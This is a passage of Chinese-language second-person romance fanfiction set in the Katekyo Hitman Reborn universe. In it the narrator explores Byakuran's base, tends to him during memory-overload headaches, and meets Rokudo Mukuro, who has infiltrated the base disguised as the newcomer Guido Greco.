动作顿住,白兰缓缓睁大眼睛,他看着你唇齿间若隐若现的那颗白花花的棉花糖,半晌,白兰忽然笑了,“春也,我真是越来越喜欢你了。” 白兰的话就像意大利男人随口一说的情话,你从来都没有当真过。敷衍地拿棉花糖堵住他的嘴,你没有再说话。 白兰的很多事情都交给了完全忠于他的手下,游戏刚设计完,又已经和彭格列宣战过,暂时没什么兴致起身工作的白兰就这样懒洋洋躺在你腿上不动弹。 默默观察着白兰吃棉花糖,你忽然发现,白兰在多数时候都是面无表情地啃噬棉花糖,泛冷的眼尾自带非人感,给人一种非常不好接近的感觉。 棉花糖在不知不觉被他快速吃完,白兰闭上眼睛,没了新的糖分摄入,好不容易安分一段时间的大脑又开始疼痛起来,忍着烦躁,白兰侧过身贴近你的小肚子,脑袋无意识蹭了蹭热量来源,恼人的疼痛隐隐有所缓解。 “最近有没有熟悉基地?” 闷闷的声音从你肚子上传来,你若有所思地看着白兰难得懈怠的模样,手指轻轻插入他蓬松柔软的白色发丝,你漫不经心抚摸着他的发根。 “我以为基地里发生的所有事情都瞒不过你。” 白兰撒娇般拖长尾音,“我只是更想从春也口中得到消息。” 挑了下眉,你幽幽开口,“没有你带领我了解,我又怎么能做到完全熟悉你的基地?” “哦~春也要是想的话,我现在就可以带你在基地转转,在我这里,春也可是拥有仅次于我的最高权限呢。” 你不清楚白兰对你究竟是什么心理,但毫无疑问,这些天的相处下来,白兰的行为和话语完全戳中你心里微妙的度。 哪怕白兰偶尔会流露出非人的凉薄和对对人类古怪的漠视,你也很难对他生出绝对的恶感。 对待非敌人时,白兰就是有股独特的魅力,一种能让他想要的人轻易信任他、忠诚他、追随他的魔力。当然,你只有基础的好感而已。 指尖还残留着棉花糖甜腻的气息,白兰起身来到洗水池,冰凉的水流冲刷干净了他指尖的黏腻,你站在他旁边。 倚着墙,你单手撑在洗手台,眼珠不经意随着他手指的动作转动。 白兰低着脑袋,耳侧的发丝顺势滑落,有几缕在白兰掬着水擦拭嘴巴时不小心溅上了几滴水珠,潮湿的发丝凌乱贴在他脸颊,白兰微不可察地皱起眉,他的手还捧着一汪清水,见他面露苦恼,你顺手撩过他脸颊的发丝。 你的指甲轻轻擦过他的脸,余光注意到你修剪得圆润整齐的指甲,白兰发现你的指腹还泛着健康的红晕。 一阵微弱的痒意过后,惹人讨厌的潮湿触感终于消失不见,取而代之的是刚刚奇异的痒意。 心脏骤然收缩了下,而后,生理无法控制的战栗感从尾椎骨开始蔓延,白兰手里的动作微妙顿住一秒,他干脆放掉手里捧着的水,然后直接把脸埋在清澈干净的水流里。直到耳根奇怪的热意消退,白兰才从冰凉的水流中抬起头。 剔透的水珠串成线轻快滚过白兰轻颤的长睫毛、高挺的鼻梁、淡粉色的薄唇和无意识滚动的喉结,而后一路溜达到他的锁骨。距离过近,你清晰看到几颗圆润饱满的水珠悄悄没入他的衣领。 ……白兰似乎不喜欢潮湿的触感。 领口、袖口因为溅起的水花而微微湿润,白兰干脆卷起袖口,然后露出一截精瘦苍白的手腕,青筋微微凸起,淡淡的青色纹路顺着手背缓缓向小臂蔓延,流露出一丝微妙的涩气。 你的视线太过明显,早就觉察到的白兰转过身,他眯起眼睛,手肘往后撑着洗手台,白兰低下头意味不明地看向你,“春也也想来洗个手吗?” 说着,他随手抽出几张纸巾,修长白净的手指慢条斯理卷在纸巾里,你静静看着干燥的纸巾一点一点变得湿润。你又抬起头,恰好对上了白兰似笑非笑的目光。 你:“……不了,我的手又没有碰过棉花糖。” 白兰:“嗯哼,也是,毕竟春也的棉花糖都是我亲手喂下的呢。” 你不说话了,你扭过头不再看他。见状,白兰没有再多说什么,不经意瞥过你的眼睛,白兰也移开了视线,忽略耳鼓附近奇怪的跳动感,他打开门,发现你没跟上,白兰语调散漫道:“怎么不走,不是说要彻底熟悉下基地吗?” 闻言,你条件反射加快步伐,经过白兰时,他顺手一关门,然后自然牵上你的手,“走吧。” 下意识抽了抽手,意料之中,你没有抽动。下巴微扬,你抬起手晃了晃,迎来后者疑惑无辜的目光。 “这也是熟悉基地必备的操作?” 白兰丝毫不心虚地弯了弯眼睛,“我的基地里可是设置了不少机关呢,万一我不小心按到哪个,而春也又和我离得比较远……到时候我可不好救你啊。” “更何况……” 白兰稍稍压低嗓音,轻佻地咬着字,紫罗兰色的瞳孔不辩情绪,“熟悉基地的主人,也是熟悉基地的必要条件。” 你:…… 你:“诡辩。” 白兰故作吃惊地回应,“诶,怎么会?春也难道不相信我吗?” 你不是很想和白兰争论这些没有营养的话题,懒得再搭理他,你闷头往前走,无视身后“等等我”这类黏糊糊的语句,你不动声色观察起你还没进过的地方。 白兰:“这些地方可都不是能够轻易进来的呢,得拥有我的权限才可以。” 你:“能拍照吗?” 白兰微妙瞥了你一眼,在你看过来之际,他漫不经心收回视线,“当然,只要你想。” “毕竟,我很少会拒绝春也酱的请求呢。” 白兰还真就像普通的观光旅游一样带你观察基地,用他的话说,这是给予特殊同伴必要的信任。偶尔,你们迎面还会遇上几个穿着统一制服的白兰手下,这些人见到白兰无一不是用恭敬信仰的目光看着他们伟大的首领,而白兰也都会笑眯眯地和他们打着招呼。 你注意到绝大多数人的视线都会聚焦在你和白兰牵着的手上,皱了皱眉头,你始终没能搞明白白兰这么做的目的到底是什么。 “这个机器可是我废了好多功夫才成功制造出来的呢。” 白兰带你来到了最后一个房间,他没有立刻开灯。站在昏暗的房间内,唯有机器上的几点亮光让你勉强看清他的身影。白兰的神色隐没在黑暗之中,你看不清他脸上的真实情绪。 “春也想知道它的作用是什么吗?”半晌,你听到一声微不可察的轻笑响起——是白兰,他在向你靠近。你不自觉开始后退,就在你绷紧嘴角准备踹他一脚后,“啪嗒”一声,屋子亮了。 白兰摊手,“哎呀,春也正好挡住了灯的开关呢。” 你:…… 你:“所以呢,它的作用是什么?” 白兰:“唔,掰掉游戏超模的实力。” 这么多天,你大概也明白了白兰的一些游戏术语。 十六岁的中二(?)少年在某天获得奇妙的力量,从此彻底把自己和普通人割裂开,甚至还把真实的世界当成了完全拟真的大型全息游戏。最重要的是,白兰真心实意把自己当成了这个世界的唯一玩家。至于你…… 你完全搞不清楚白兰到底是把你当成了一个特殊的NPC,还是特殊的玩家。 …你时常会觉得自己跟不上这个世界人的思路,无奈叹了口气,你开始用通俗易懂的语言翻译,“你是说,这个装置可以让那些满级人类变成普通人类?” 白兰弯了弯眼睛:“春也真聪明。” 白兰丝毫不吝啬让你了解这个世界。 “这个世界,各个领域实力达到顶尖的有七人。” 不同的平行世界,相同的七个人,以及永远都是固定的职业和人生轨迹……十六岁的白兰不觉得世界和他喜欢玩的游戏模式有什么区别,他是里面逃脱了桎梏的唯一真实玩家。 拥有了平行世界自己的记忆,本就不难的世界彻底降为easy模式。世界成了他掌心里的小玩具,只要他想,他可以清楚知道每个人的选择和结局,以及,每个人的命运。 但很快,在最初的恍然和兴奋过后,渐渐的,白兰的心情阀值提高到普通人类无法踏足的领域,他很难再从日常的沟通交流中获得满足感,也难以再用同类的目光去观察人类。 极致的无聊下,白兰心里催生出了强烈的毁灭欲,他也看到了,每一个平行世界的白兰都在致力于毁灭世界,当然,白兰知道那只是‘自己’想要统治平行世界的一种手段而已。 如果不出意外,白兰相信自己也会沿着平行世界自己的做法行动。但是,他找到了属于自己的奇迹。 ——他可和平行世界的那群家伙不同,白兰傲慢又嚣张。 骤然接收到庞大的记忆,还未发育成熟的大脑根本无法承受过载的信息量,才十六岁的白兰不间断忍耐着无时无刻的疼痛,同时还要梳理杂乱没有规律的记忆。 很长一段时间,白兰都在自己的记忆里不断沦陷,甚至他还险些迷失在亿万兆的记忆里。 ——直到,他发现了独属于自己世界的锚点。 刹那间,所有记忆彻底归于白兰。 在你不知道的地方,白兰行动力超强地收集了你的一系列资料。只要存在于这个世界,任何信息都会留痕,白兰远比你想象的要更了解你。 过往经历、照片、遇到的人和事、喜欢的食物、习惯的穿搭、不同的微表情……平行世界的自己有几个专门学过侦查学和微表情语言这类偏刑侦的知识,白兰轻易就能看破一切。 但是很奇妙,哪怕如此了解你,白兰对你的兴趣自始至终都没有消减,恰恰相反,他的兴趣不降反升。 而等到亲眼见到你、接触你、堪破你,白兰发现自己的情绪波动始终维持在他喜欢的水准。 这太有意思了,不论哪个平行世界的自己,都从未遇到过这种情况。 ……他是特殊的。只有他遇到了你。只有这个世界的白兰拥有了你。这是亿万兆世界里唯一的奇迹。 空虚乏味的心脏像是被他最爱的棉花糖填满,但软绵绵、甜滋滋的棉花糖永远不会融化,膨胀的棉花糖始终住在他的心脏,把他的全部都填得满满当当。世界不再空虚无聊,白兰拥有了新的、永远不会腻味的玩具。 他为这种独一无二的感觉而着迷,这远比见鬼的统治世界有趣多了。 统治世界之后他能获得什么?过去白兰从不会深想这种会令他坠入深渊的问题,但现在,白兰可以很明确地回答,那绝不会比拥有你更有趣。 光是其他白兰世界里都没有你,就足以令白兰本人感到前所未有的快感。 “那七个人被成为彩虹之子,其中一个你还见过。” 带你来到装置前,白兰漫不经心介绍着它,“两年前投入了一批使用,不过后来我又暂时搁置了这个计划。” 你还在思考你见过的哪个人会是彩虹之子,听到白兰的话,你疑惑歪头,“为什么搁置了?” 白兰弯了弯眼睛,“大概是因为,如果真的按照我原定的计划实行,那么我可能就无法和我的锚点相遇了。” 其他平行世界的自己要是知道了,绝对会狠狠嘲笑他一顿,并且毫无廉耻地来勾走他的珍宝。不过,放出去的装置他也不打算再收回来,反正也只是让他们虚弱一段时间而已,又死不了。回忆起其他平行世界彩虹之子的遭遇,白兰觉得自己简直善良到发光。 你挑眉:“锚点?” 白兰偏过脑袋看你,他朝你弯下腰,温凉的指尖虚虚碰着你的耳垂,紫罗兰的眼睛里装载着你看不懂的浓烈情绪,唇畔勾起一抹极轻极浅的笑,他说的随意又自然,轻飘飘的声音落在你耳朵,炸响了一地惊雷。 “我的锚点。” 堪称惊异的目光投向他,你后退一步,“抱歉,我不明白。” 莫名其妙被一个素未谋面的人宣称自己是他的锚点,换成谁都会觉得很诡异的吧。你开始忧虑白兰的精神状态是否良好。 沐浴在你诡异的视线下,白兰没有任何负面想法,相反,白兰很喜欢你一直注视他。 “或许某天你会知道原因,如果春也酱能成功撬开我的嘴的话。” 白兰漫不经心略过这个话题,“好了,现在基地内所有的地方你都逛过了,甚至有的你还拍了照。” 念到拍照两个字时,你总觉得白兰的神情有些意味深长,再次看过去时,白兰依旧是那副散漫随性的模样。 “不过……”白兰神色不明道,“基地的照片是机密,春也酱可不能轻易给外人看呢。” 你:“……当然。” 白兰刻意忽略你诡异的停顿,假装不知道你微妙的想法,白兰眼里闪过一丝幽暗的光芒。 参观完基地,拍好照片,你已经做完了你最想做的事情。不过你暂时没有离开白兰基地,你很好奇白兰口中的锚点究竟是什么意思。隐约的,你在里面嗅到了秘密的气息。 奉行着来都来了的原则,你感觉自己完全可以搞清楚事情真相再离开。最重要的是,尽管白兰口中经常说着毁灭黑手党、毁灭世界的话,但他并没有整日沉迷挑起战斗,相反,他出现在你身边的频率似乎越来越高了,总不可能他想毁灭你? ——甚至,你不经意间还听到他说过世界和平这样的话! ……这太诡异了。 你自诩不是好奇心特别旺盛的人,但白兰偏偏像个布满谜团的毛线球时不时在你面前蹦跶两个,你很难不被他吸引注意。 纳闷的是,当你试图靠近白兰后,他却又诡异的让你见不着他的人影。 你:……嚯,有点意思。 正好待在基地无聊,这里也再没有什么值得你深挖的秘密,而你的兴致又被白兰吊了起来,你愿意陪他玩玩这个特别的“捉迷藏”。 在你沉浸式“逮捕”白兰时,六道骸他们已经找你找疯了。 >>>>> 已经好几天了,除开你时不时诈尸回个消息,六道骸他们根本无法准确掌控你的行踪。耳钉和手机里定位器不知道被什么干扰,几个人现在完全无法确定你的位置,就算知道你人很安全,但是看不到真正的你,城岛犬和柿本千种很难真正安心。 一开始,六道骸并不忧虑,直到他发现自己无法再附你的身,瞬间,原本轻松的架势全部消失,六道骸眼底没有丝毫笑意。 城岛犬不解又烦躁地抓头发,“为什么春也不愿意告诉我们她现在在哪里?” 明明以前春也出门都会报备的啊,难不成春也是被人威胁了?城岛犬完全不知道你有自保能力,他现在很担心你。眉头紧锁,城岛犬心里的猜想一个比一个坏。 “但是春也发来的消息又透露出她现在的环境安全又正常……难不成春也是被人威胁了?” 柿本千种也在思考,屏幕里的定位地点一直显示错误,他仔细解读着你发过来的每一条信息,柿本千种慢慢绷紧嘴角。 “自从那天春也说要出去吃饭,没过多久,我们就彻底失去了她的联系,虽然已经及时去找了,但是很凑巧,从春也踏入那片街道时,所有的监控清一色毁坏……是无法再复原的毁坏。” 几个人找寻了好几天也一无所获,脑子里的弦渐渐越绷越紧,柿本千种拒绝思考你可能会离开他们的想法。 “一定有敌人隐藏在暗中。”柿本千种极端地肯定道,平静的眼睛里翻涌起浓墨,柿本千种看向一直没有说话的六道骸。 这几天,六道骸几乎翻遍了大半个意大利,但仍是一无所获。察觉到犬和千种越来越紧绷的神经,六道骸揉了揉疲惫的太阳穴。连续奔波不歇,六道骸已经连着好几天彻夜未眠了,嗓子因为熬夜过度而变得干涩,六道骸缓缓出声安抚犬和千种。 “不用担心,我会把春也带回家的。” 脑子里一瞬间闪过白兰的脸,六道骸忍不住皱起眉头,他真是疯了,居然会以为你在白兰那儿。 直到听到库洛姆带来的消息,六道骸眼前忽然一黑。凭借强大的意志力缓过神,六道骸想起他过去无数次路过白兰基地的场景,指甲无意识陷入血肉,六道骸决定提前自己的计划。 他当然不相信你是自愿加入白兰的这种话,更何况,你和白兰之间从未有过交集,白兰不可能知道你的存在,也不会找上你。 怀着微妙的不安,伪装过一番的六道骸正式踏入了白兰的基地。同一时间,白兰忽地翘起嘴角。 你还不知道六道骸已经进入了白兰的基地,也不知道很凑巧的,就在这一天,你成功抓到了白兰。 和过去每次你问起白兰,他的手下清一色告诉你白兰大人正在开会、做实验、出门不同,这一次,你轻轻松松就在白兰的休息室里发现了他。你难免有些讶异。 休息室里并没有开灯,漆黑的屋子里只有窗外隐隐渗进来的月光清晖隐隐照亮了一小片天地。这间休息室是白兰个人的,里面全是他亲手设计出来的智能家居,而所有智能的一键控制权都在白兰自己手上,包括灯光开关。 ——但是休息室的门是开的。 迎着休息室主人的意愿,你悄无声息踏入了这片寂静的区域。借着窗外微弱的月光,你一下就看到了躺在长沙发上的一大团黑影。 …… 室内打着温暖的空调,黑影身上只盖了条薄薄的空调被。白兰大概对自己的体型没有个明确的认知,隆起的被子弧度突兀又明显,很难不让人把第一视线放在他身上。 你慢慢走了过去。 你没有看到白兰的脸,他完美把自己藏在了被子下,伸出的手迟疑落在半空又收回,你忍不住心生疑惑。难不成白兰是真的睡着了?你还以为他刻意开着门就是引诱你进来呢。 垂眸沉思片刻,就在你准备转身离开改天再来后,沙发上传来了微弱的动静。一只冰凉的手忽然从被子里伸出,然后紧紧扣住了你的手腕。 “是春也吗?” 白兰的声音难得不那么甜腻,你扭过头,恰好看到他从被窝里钻出来的一幕。绒茸茸的白色脑袋探出,白兰脸色苍白地望着你,被汗水浸湿的发丝凌乱贴在他脸颊和脖颈,睁着好似被水润过的紫色眼睛,白兰一眨不眨盯着你不放。 你还是第一次看到白兰这么虚弱的模样,更多的时候,他总是拖长自己甜腻黏糊的嗓音,然后笑意盈盈地看着你。 念在白兰过往对你微妙的信任,你暂时没有离开。目光落在沙发附近的小板凳上,你试图抽出手去拿,下一秒,白兰更加用力地攥紧了你,似乎生怕你逃离。无奈,你只好拿脚勾起边缘的小板凳。好不容易把小板凳勾到你身边,你坐了下来。 “你现在这是怎么回事?” 白兰缓缓眨了下眼,一滴生理性泪水顺着他长长地下睫毛滑落,白兰不自觉抓紧了你的手,“只是一些必要的后遗症,我早就已经习惯了。” “只是我没想到这一次和以往任何一次的情况都不一样。” 杂乱无章的记忆无数次清空又重新塞入,白兰完全不知道平行世界的自己到底发生了什么事,后背不断冒出冷汗,哪怕将空调温度打到最高也无济于事。 失策了,这和他原本准备的游戏礼物完全不一样。 白兰根本没想过以这么狼狈的姿态迎接你。他是在等待中途突然开始不正常的。 一开始,白兰根本难以忍受这种不断清空又强塞记忆的剧烈痛苦,身体开启自我保护机制,白兰还没来得及关闭大门就直接晕了过去,等到再次清醒过来时,他已经听到了你进来的脚步声。 在你靠近后,异常的疼痛得到轻微缓解,白兰不自觉靠近你想要索求短暂的欢愉。 等到理智终于恢复,白兰松开了你的手。他攥紧拳头,一手撑着沙发,白兰极力掩饰自己难看又狼狈的神态,心中的摧毁欲和毁灭欲几乎达到顶点,就在这时,你忽然上前扶住了他。 动作微顿,借助你的力道,白兰从沙发上坐起。 大颗大颗的汗珠不断从他额头冒出,然后又顺着他的眼睫毛掉落。白兰狼狈地靠着沙发背喘着气,嘴角绷直,他面无表情地低垂着脑袋。圆润饱满的汗珠在他睫毛上滚动了几下,然后轻飘飘滑落到白兰的衣物,你看到他袖口的颜色微微变深了些。 有点像泪珠,像串成线无法切断的泪珠。 你的目光无意识停留在他睫毛,似是察觉到你的视线,白兰撩起眼皮看向你。刚刚好,一滴汗珠悄无声里落在了他的睫毛,像是感知到不适,白兰下意识眨了下眼,汗珠在他长长的睫毛上颤动了几下,然后又稳稳停留在上面。 白兰漂亮的眼睛像被浸泡在水里的紫水晶,泛着难得清亮的光泽,犹如被蛊惑一般,你无意识伸出手,然后轻轻揩过了他挂在睫毛上的剔透汗珠。 冰凉的汗珠提示着白兰本人糟糕的身体状态,你回过神,皱眉道:“到底发生了什么事,你怎么突然变成这副模样?” 白兰喘了口气,缓缓说道:“……不清楚。” 熬过了开始最痛苦的时光,白兰勉强开始适应这股疼痛。 …… 他的世界似乎和其他平行世界有些不太一样,这是白兰在无数次对比分析不同平行世界时得出的结论。 白兰再厉害也无法知晓高出认知的东西,尤其是,这个世界还曾出现过前无仅有的未知生物。 ——除了你,没有人会知道。 而仅仅只是因为被邪神不经意注视了一眼,这个世界就发生了某种奇怪的变化。随着时间的推演,这股变化又微妙产生了某种异变。 ——这是邪神为了让这个世界更好地适应你而产生的异变。 因为邪神不经意的注视,这个世界慢慢从根源上逐渐与其他世界分裂开,但又因为世界基石不动声色守护着该世界,世界与世界之间奇妙的同根联系并没有彻底消散。 只可惜,这个真相注定不会有人知道。 白兰忍耐着疼痛,或许他真该庆幸自己的身体因为绵延不绝的疼痛早就产生了耐痛性,不然他还真做不到这么快就适应这股极端的疼痛。 现在,对上你关切的目光,白兰勉强支撑起身体靠在沙发背,他懒洋洋掀起眼皮,然后又有些疲倦地垂下。 白兰哑着嗓音:“我没事。” 第130章 认识到现在, 白兰确实对你毫无保留,但涉及到他自身,你敏锐觉察到, 白兰隐瞒了你最重要的信息。 ——那是组成白兰灵魂的根源, 而现在, 你似乎窥探到了他一直隐藏起来的某种真实。 “都流汗了。” 你坐在沙发边缘, 拿起干净的手帕,你俯身轻轻碰上白兰的脸颊。 汗珠潮湿了他的头发, 白色发丝凌乱地贴在他脸上, 白兰下意识抬眼看你,浸润过痛意的紫色眼珠像湿漉漉的小狗眼, 他一眨不眨看着你。一时之间,你竟分不清这是他虚假的伪装还是故意的真情泄露。 “很痛吗?”你的声音故意压得很轻,像春日里的柳絮,轻飘飘得让人难以捉摸。 你专注盯着白兰的眼睛,试图从他眼里看出些什么, 而白兰不知出于什么心思,他也没有回避你的目光。不含情欲的对视莫名让空气开始变得黏稠, 古怪的氛围在你们中间蔓延, 一股无名的牵引让你们之间的距离不断变近。 “…痛。” 你听到白兰嗓音干涩,他慢慢朝你靠近,直到他整只倒在了你怀里。热气缓缓喷洒在你耳畔,一米八几的身高委委屈屈蜷缩成一团,长手揽住你的腰,像只树袋熊,白兰整个人都贴在了你的身上。 他动了下脑袋,毛茸茸的白发擦过你的颈窝, 微弱的痒意缓缓渗入你的骨头,你慢慢低下了头。 难得看到白兰这幅脆弱的模样,你挑了下眉,也无所谓他是不是装出来的样子。不轻不重按压着他的太阳穴,你缓缓开口,“哪里痛?这里吗?” 白兰闭上眼睛,他声调古怪地哼了声,你继续耐心询问,“为什么会痛?” “白兰,告诉我。”你低低凑到他的耳边,犹如蛊惑般开口,“我想知道原因。” 大约是气氛刚好,又或者是你的手指太过柔软,沉溺在你的温柔乡里,白兰的心底源源不断涌奇异的满足感。 心脏在这一刻终于被填满,白兰的手指因为激动而轻微颤抖着,他的手覆在你的后背,指腹因为过于用力而泛白,掌心下的衣服出现越来越多的褶皱,白兰极力控制着自己残存的理智。 “是记忆。”白兰语速不快,他的声音透出一丝古怪的餍足,“各种各种的记忆,全都挤入我的脑子,我好不容易才消化了它们,转瞬,无数记忆像是出了差错,不断从我脑子里消失,然后又不间断地再次出现在我的脑海里。” ……又开始了。 白兰忍着疼痛梳理,嘈杂无序的画面夹杂着一闪而过崭新的记忆,如果不是白兰记忆力超群,他很有可能会忽略这点变化。 白兰很确定,那些记忆他过去从未看到过。 新旧交替,毁灭与新生,频闪过快的记忆比以往任何平行世界自己的记忆都要庞大,若不是之前自己接受过所有平行世界自己的记忆,白兰毫不意外自己会迷失在这一次的记忆浪潮里。 大脑无时无刻不在工作,白兰必须得集中全部精力才能看清那些频闪的记忆,并且从里面梳理得到自己想要的信息。 “啪嗒、啪嗒。” 汗珠又开始冒出来了,白兰埋在你的颈窝,豆大的汗珠浸湿了他的头发,有几滴还无声无息没入了你的发丝。 白兰的脑袋不安分地乱蹭,随着他的动作,潮湿的异色发丝无意识交缠环绕,带着微弱的痒意,你不适地动了动脖子,下一瞬,白兰像只黏人的袋鼠又紧紧贴了上来。 白兰喘着气没有再说话,他闭上眼睛,指甲无意识用力陷入你的后背。万幸白兰亲自设计操刀的制服还算厚实,不然以这种力道,你的后背绝对会出现月牙形的红印。 你大约还在思考,安静的氛围下,白兰听着你清浅的呼吸声,数着你沉稳有力的心跳,嗅着你发间浅淡的香味……这一刻,记忆带来的刺痛仿佛都减轻了不少。 潮湿的吐气像融化的棉花糖黏腻地粘在你耳畔、脖颈、发间,带着一股棉花糖的香甜,湿漉漉的气体融化在空气里,宛若一张无形的蜘蛛网,黏哒哒地包裹住了你们。 事到如今,白兰大概能确定了,平行世界的自己出了问题。 ——也许某个平行世界的自己失败了,又或者是成功统治了所有的平行世界。 但古怪的是,从现在的结果来看,他目前的情况并不符合上边任何一种。白兰不觉得还会有第三种可能,但他也确实没搞清楚自己现在究竟属于什么情况。 ……或许,那些高频闪过又闪回的记忆能带给他想要的答案。 记忆还是杂乱无章地出现又消失,白兰几乎快要习惯这种痛楚,喉咙干涩,他忽然很想吃点甜的东西缓解一下,比如说棉花糖。 脑袋紧紧贴着你的颈窝,嗅着你身上令他安心的味道,白兰牙根发痒,他突然就想咬些什么东西。 白兰不动声色盯着你洁白的脖子,目光不自觉变得幽深,他缓缓闭上眼睛,白兰克制住内心古怪的食欲,他默默感受到你的手指穿过他发根的微妙触感。 你没有察觉到白兰刚才那一瞬间奇怪的目光,听着白兰的诉说,手下动作不停,你若有所思:“记忆?” “咚、咚、咚。” 忽然,门外传来三声不急不缓的敲门声,你被迫终止话题。 白兰面无表情睁开眼睛,捉摸不透的语气听不出他的情绪,“看来这次我们的谈话到此为止了。” 毛茸茸的白色脑袋无意识蹭了下你,白兰遗憾地从你身上起来,他眯起眼睛,唇畔还含着一丝若隐若现的笑,然后,白兰低下头神色莫名地看了你一眼,“或许,等到下一次,你就可以知道完全的真相了。” 最后那句话被他说的意味深长,你理了下凌乱的衣领,没有表现出特别的反应。等你站起来跟过去时,白兰的手已经摁在一旁的开关上了,动作顿住一秒,白兰忽然扭头看你。 “对了,春也知道吗,今天,我们的大家族来了个厉害的新人呢。”白兰漫不经心摁下开关,“名字好像是叫…古伊德·古莱克。” 门无声打开,越过白兰,你成功和这位新人对上了视线。 黑色的头发,清秀的五官,挑不出错的笑容……是放在人群中也不会引起注意的长相。你本该毫无兴趣地收回目光,但古怪的是,你的视线从落到他身上开始,就始终无法收回。 “怎么,春也认识他吗?”白兰对你问话,但凉薄的视线却始终落在古伊德·古莱克身上,后者恭敬又温顺地垂下脑袋,自始至终,古伊德·古莱克始终没有表现出异样的情绪。 你默默又盯了他好一会儿,那股隐隐的熟悉感却始终挥之不散,听到白兰的话,你没什么表情地移开了视线,“不,我从未见过他。” 在你们看不见的死角,古伊德·古莱克的指尖微不可察地颤动了半秒,而后又立刻恢复正常。 “现在什么人都能来直接找你了吗?”余光瞥到古伊德·古莱克温顺柔软的模样,你的心底不知为何忽然升上一股郁气,说话的语气不免也带上了几分刻薄,“这个新人的权限倒是意外的大啊。” 白兰眯眼笑,他当着古伊德·古莱克的面亲呢地拉上你的手,“因为这个新人的能力很强大,也是我给了他一点权限,并且召唤他来到了这里。” “春也是生气了吗?” “我生什么气?”意识到自己反应过度,你撇了撇嘴往前走,白兰顺着你的步伐跟上。忽然,像是想起什么,白兰扭过头,“古伊德·古莱克,你先去和斯帕纳汇合,他会告诉你今天的任务。” 说着,白兰似有若无地轻笑了声,“我相信你已经见过他了。“ 古伊德·古莱克安静看着你和白兰消失在了拐角,尽管现场没有人,但古伊德·古莱克脸上的表情始终没有多余的起伏。他转身慢慢离开这儿去找斯帕纳,眼底的笑意明明灭灭。 古伊德·古莱克找到斯帕纳的时候,入江正一正好和斯帕纳呆在一起研究新一代机器人。斯帕纳沉浸在研究中就会忽略周围环境,还是入江正一率先发现了古伊德·古莱克的存在。 入江正一和斯帕纳都收到了白兰的消息。 和斯帕纳入职了密鲁菲奥雷家族不同,入江正一暂时兼职了密鲁菲奥雷家族的技术顾问。入江正一纯粹是过来陪自己的好友斯帕纳一同研究他们感兴趣的东西,但他未来的发展规划并不包含入职密鲁菲奥雷,入江正一更想成为一名优秀的音乐家。 听说好友入职无名企业时,怀着警惕和怀疑,入江正一特意打听过密鲁菲奥雷家族,结果完全让他放心。虽然很有会有企业里带有家族两个字,但密鲁菲奥雷家族企业确实是个信誉优秀的企业,甚至还被政府褒奖过。 而密鲁菲奥雷家族企业的领导人——白兰先生,则是一个看中技术人才的优秀领导,他完全不会苛刻自己的下属,就连定下的薪资也高于一般企业。 …… 入江正一松了口气,总之,好友入职的公司是正规企业就好。 现在,看到白兰先生消息里提到过的古伊德·古莱克,入江正一起身轻拍了下沉浸在自己世界里的斯帕纳,后者有些茫然地抬起头,“怎么了,小正?” 入江正一小声提醒:“白兰先生提起的古伊德·古莱克过来了。” 斯帕纳这才露出恍然的表情,“抱歉,我专注的时候会容易忽视外界的信息。” 古伊德·古莱克似乎完全不在意,他脾气很好地笑了下,“没关系,我想知道,白兰大人给我布置的任务是什么?” 斯帕纳:“唔,不难,我先给你拉个群。” 斯帕纳动作很快,他哐哐一顿就把白兰发给他的信息全都转发给了古伊德·古莱克。 密鲁菲奥雷家族不同部门的人任务都不一样,且不同任务不可共享,所以很多时候他们自己都不知道同事到底在做什么。也是因为这个,入江正一才会怀疑密鲁菲奥雷家族企业不是正规企业。 嘴里的糖早就化掉了,斯帕纳重新又拆了颗塞进嘴里,“白兰把你分到了情报部门。” 入江正一单纯地发出感叹:“白兰先生真的很信任你的能力啊。” 古伊德·古莱克不动声色查看信息,他态度友好地和这两个毫无战斗力的技术人员告别。面无表情关上门,古伊德·古莱克…不,应该说是六道骸。 附身伪装成古伊德·古莱克的六道骸在心底嗤笑一声,他完全不觉得白兰这是信任他的表现。相反,第一眼接触下来,六道骸就知道,这家伙绝非善类。虽然不知道他葫芦里卖的什么药,但是……想到白兰亲密又毫无下限地跟在你身边,六道骸的眼眸沉了沉。 绝对是白兰蛊惑了你! 脑海里不断回放着你们牵手的画面,六道骸甚至能准确回忆起白兰的五根手指头都触碰到了你,甚至他的另一只手还碰到了你的腰!! ……最糟糕的情况发生了,六道骸险些在刚才暴露自己带走你,凭借超人的意志和理智,六道骸硬生生遏制住了这股冲动,他还没有忘记自己最初无法附身你的事情呢,这个白兰绝对使了些见不得人的手段! 在搞清楚不能附身你的原因时,他不能轻举妄动。 再次抬头,六道骸又恢复成了温顺好说话的古伊德·古莱克。 >>>>>> 距离游戏开始还有一段时间,在此期间,白兰慢慢把你的指纹全都录用进了绝大多数权限。而古伊德·古莱克最近的表现也中规中矩,但偶尔也会提出让白兰耳目一新的操作,渐渐的,白兰开始重用起古伊德·古莱克。 你明显也发现了这个变化。 “你很喜欢这个新人?”坐在窗台,你眺望着远方风景,想起最近时时刻刻都能见到的古伊德·古莱克,你看向白兰。过去你可从未见过白兰把谁带在身边过。 白兰轻笑:“春也是在说雷欧吗?” 你:“雷欧?” 白兰:“就是古伊德·古莱克。” 你撇了撇嘴,漫不经心拖长尾音道:“随便他叫雷欧还是古伊德·古莱克好了。我看到你最近经常会给他安排任务,也会把他带在你身边。” “唔…对待有潜力有野心的新人,当然要给他往上爬的机会。”说这话的时候,白兰正低头挖了一大勺巧克力坚果碎冰淇淋,长长的白色睫羽在他眼睛打下一片阴影,眸中闪烁着明明灭灭的光芒,叫人看不真切他眼中的真实情绪。 “我可不是苛待员工的黑心老板呢。” 甜腻的冰淇淋在舌尖化开,冰凉的触感刺激的惬意地眯起眼睛,白兰懒洋洋撩起眼皮,单手支着下巴,他甜腻地朝你眯眼笑,“春也是觉得雷欧打扰了我们的二人世界了吗?” 你斜睨了白兰一眼,“当然不是,我们什么时候有过二人世界。” 白兰笑眯眯地开口,“春也这么说,我好伤心,我可是很期待和春也在一起的每个瞬间呢。” 你居高临下望着做怪的白兰一眼,还没再说些什么,熟悉的三下敲门声打断了你们的交谈,白兰没有动,他依旧挖着面前甜腻冰凉的冰淇淋往嘴里塞,倒是你扭头看了一眼,果不其然,又是古伊德·古莱克。 他似乎在你身上装了雷达,总能恰到好处的打断你和白兰。 门没有关,你不知道古伊德·古莱克来了多久,也不知道他听到了多少你们无营养的谈话内容,你发现他一直都是这样安静无声地站在某个角落,像悄无声息的幽灵,或许直到他逼近你们的距离,你才能真正把目光投向他。 